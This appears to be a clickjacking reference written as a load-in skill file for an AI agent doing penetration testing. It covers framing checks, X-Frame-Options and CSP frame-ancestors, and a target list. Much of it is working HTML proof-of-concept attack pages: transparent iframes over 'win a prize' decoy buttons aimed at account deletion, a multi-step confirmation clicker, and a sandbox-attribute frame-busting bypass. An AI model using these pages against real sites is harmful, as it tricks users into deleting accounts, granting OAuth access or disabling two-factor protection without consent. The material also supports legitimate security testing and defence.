AI LOAD INSTRUCTION: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
X-Frame-Options: DENY → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent) → frameable! (vulnerable)
Content-Security-Policy: frame-ancestors 'none' → cannot be framed
Content-Security-Policy: frame-ancestors 'self' → same-origin only
Content-Security-Policy: frame-ancestors https://a.com → specific origin
(directive absent) → frameable
CSP frame-ancestors supersedes X-Frame-Options in modern browsers.
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
If the page loads in the iframe → frameable → potentially vulnerable.
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
If this code is present but not using CSP frame-ancestors, it can often be bypassed.
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
Reposition iframe for each step to align the transparent button with the decoy.
Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.
Some pages use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
Bypass with sandbox attribute:
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
ALLOW-FROM is not supported in Chrome/Safari. If the server relies solely on ALLOW-FROM, modern browsers ignore it → page is frameable.
If X-Frame-Options: SAMEORIGIN is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers
